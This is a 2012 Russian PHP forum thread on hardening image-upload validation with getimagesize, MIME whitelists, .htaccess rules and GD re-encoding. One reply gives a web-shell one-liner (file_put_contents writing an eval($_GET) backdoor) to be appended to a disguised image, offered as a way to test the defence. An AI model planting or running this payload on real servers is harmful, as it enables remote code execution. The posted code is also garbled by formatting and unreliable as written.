Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель PHP 5 / 6 (3 издание). Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Обойти данную проверку загрузки изображения
 
 автор: ZetRider   (04.05.2012 в 21:46)   письмо автору
 
 

Добрый день,
рассматриваю способы защиты загружаемых файлов на сервер.

Для начала написал вот такую простую проверку:


<?php

if($_POST['upload']) {

    if(
$_FILES['images']['name'] != '') {
        
        
$upload_file_name 'rnd_test';
        
$tmp_name $_FILES['images']['tmp_name']; // tmp файл
        
$mime_type $_FILES['images']['type']; // Content-Type
        
$size $_FILES['images']['size']; // Размер
        
        
$getimagesize getimagesize($tmp_name); // информация о файле изображения
        
        
if ($getimagesize == '' && $mime_type != 'image/gif' && $mime_type != 'image/jpeg' && $mime_type != 'image/png') {
        
// если нет информации от изображения и не сопадают type
            
$error "<li>Неверный формат изображения! Доступные для загрузки форматы: *.gif *.jpg *.png</li>";
        } elseif (
$size 1000000) {
            
$error '<li>Объем файла изображения превышает 1 мегабайт.</li>';
        } else {
            
            if (
$mime_type == 'image/gif') { $expansion '.gif'; }
            elseif (
$mime_type == 'image/jpeg') { $expansion '.jpg'; }
            elseif (
$mime_type == 'image/png') { $expansion '.png'; }
            else { 
$expansion '';}
            
            if(
$expansion != '') {
                
$upload_patch "/upload/".$upload_file_name.$expansion;
                
                
move_uploaded_file($tmp_name$upload_patch);
            }
            
        }
    
    }
    
}
?>


как видно эта защита простая, порекомендуйте, что еще стоит учесть при проверке изображений? или достаточно getimagesize() ?

Может уменьшать изображение чтобы удалить текстовые метаданные если таковые имеются.

  Ответить  
 
 автор: confirm   (05.05.2012 в 01:20)   письмо автору
 
   для: ZetRider   (04.05.2012 в 21:46)
 

>что еще стоит учесть при проверке изображений?

Для начала, это все таки прочесть, что же возвращает getimagesize(), и больше доверять типу возвращаемому этой функцией, чем $_FILES['images']['type'], которое может быть полной туфтой.

>или достаточно getimagesize() ?

А вы ее используете разве?

  Ответить  
 
 автор: ZetRider   (05.05.2012 в 08:28)   письмо автору
 
   для: confirm   (05.05.2012 в 01:20)
 

confirm, прочитал еще раз про getimagesize как я и понимал ранее функция возвращает информацию об изображении.

Ведь если передать не изображение, функция ничего не вернет, соответственно переменная $getimagesize будет пуста и проверка уже провалена.

>> больше доверять типу возвращаемому этой функцией

Да спасибо, теперь код выгладит так:

<?php
if($_POST['upload']) {

    if(!empty(
$_FILES['images']['name'])) {
         
        
$tmp_name $_FILES['images']['tmp_name'];
        
        
$getimagesize getimagesize($tmp_name);
        
        
$mime_type $getimagesize['mime'];
        
        
$wh_mime = array(
            
'image/gif',
            
'image/jpeg',
            
'image/png'
        
);
        
        if ( !
in_array($mime_type,$wh_mime) ) { 
            
$error "<li>Неверный формат изображения! Доступные для загрузки форматы: *.gif *.jpg *.png</li>"
        } else { 
             
            if (
$mime_type == 'image/gif') { $expansion '.gif'; } 
            elseif (
$mime_type == 'image/jpeg') { $expansion '.jpg'; } 
            elseif (
$mime_type == 'image/png') { $expansion '.png'; } 
            else { 
$expansion '';} 
             
            if(
$expansion != '') { 
                
$upload_patch "/upload/test_file".$expansion
                 
                
move_uploaded_file($tmp_name$upload_patch); 
            } 
             
        } 
     
    } 
}
?>


Выходит тип файла невозможно подменить если мы проверяем его через функцию getimagesize ?

По поводу текстовых метаданных думаю можно не беспокоится т.к. расширение файла прописывается скриптом?


deimand, вырезал, попробовал залить через проверку с кодом выше, не загрузилось. Спасибо.

  Ответить  
 
 автор: confirm   (05.05.2012 в 10:36)   письмо автору
 
   для: ZetRider   (05.05.2012 в 08:28)
 

Если передать не изображение, то функция возвращает NULL, следовательно проверка getimagesize() == '', это что-то от извращения. Но учтите, что и заголовок файла можно подделать.

Вот это
<?
$wh_mime 
= array( 
            
'image/gif'
            
'image/jpeg'
            
'image/png' 
        
); 
         
 if ( !
in_array($mime_type,$wh_mime) )

зачем?

  Ответить  
 
 автор: ZetRider   (05.05.2012 в 10:43)   письмо автору
 
   для: confirm   (05.05.2012 в 10:36)
 

Тогда как быть если можно подделать заголовок файла? Выходит проверка mime getimagesize не так уж и надежна?

>>зачем?

проверка допустимых типов файла

  Ответить  
 
 автор: confirm   (05.05.2012 в 10:50)   письмо автору
 
   для: ZetRider   (05.05.2012 в 10:43)
 

Ну если вы ограничиваете только этими тремя типами, тогда да. Хотя, если разрешены все поддерживаемые, включая и для мобильных платформ, то проще исключать TIFF. Хотя и его можно оставить, переконвертировав в браузерный формат.

В мире все зыбко, и getimagesize тоже не стопроцентная гарантия. Если кроме загрузки предполагается и обработка файлов, как-то изготовление превьюшек, и т.п., то лучшим методом будет считывание изображения в строку, а потом создание изображения из строки. В этом случае GD проверит изображение ли это, да и мусор выбросит.

Что касается имен файлов при загрузке, то найдите в сети и прочтите о баге null байта.

Кстати, загрузку надо начитать не с этого, а с проверки ошибок загрузки, и если их нет, только потом вся ваша проверка.

  Ответить  
 
 автор: deimand   (05.05.2012 в 02:43)   письмо автору
 
   для: ZetRider   (04.05.2012 в 21:46)
 

Откройте любую нормальную картинку с помощью блокнота или другого текстового редактора. Вырежьте из нее символы ? и %. Сохраните с расширением php и попробуйте загрузить на сайт. Если получится, то защиты от выполнения php-скрипта нет.

А чтобы сделать каку, допишите в конец получившегося файла что-нибудь типа:
<?php
file_put_contents
('shell.php''<?php @eval($_GET["shell"]);')


Теперь просто подставьте адрес картинки в тег img и посмотрите на нее в браузере.

Не использовать в корыстных целях!

  Ответить  
 
 автор: ZetRider   (05.05.2012 в 08:52)   письмо автору
 
   для: deimand   (05.05.2012 в 02:43)
 

Думаю в папку upload не помешает оставить файлик .htaccess с кодом вроде:

<FilesMatch "\.(php|cgi|pl|php3|php4|php5|php6|phps|phtml|shtml|py)$">
Order allow,deny
Deny from all
</FilesMatch>
?

  Ответить  
 
 автор: Красная_шляпа   (05.05.2012 в 13:21)   письмо автору
 
   для: ZetRider   (04.05.2012 в 21:46)
 


<?php

if ($mime_type == 'image/gif') { $expansion '.gif'; } 
elseif (
$mime_type == 'image/jpeg') { $expansion '.jpg'; } 
elseif (
$mime_type == 'image/png') { $expansion '.png'; }

// можно заменить одной строкой
list(,$ext) = explode('/'$mime_type);
// если расширение jpeg не нравится
// $ext = $ext == 'jpeg' ? 'jpg' : $ext;
// или так
$mime_type str_replace('jpeg''jpg'$mime_type);
ist(,$ext) = explode('/'$mime_type);

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования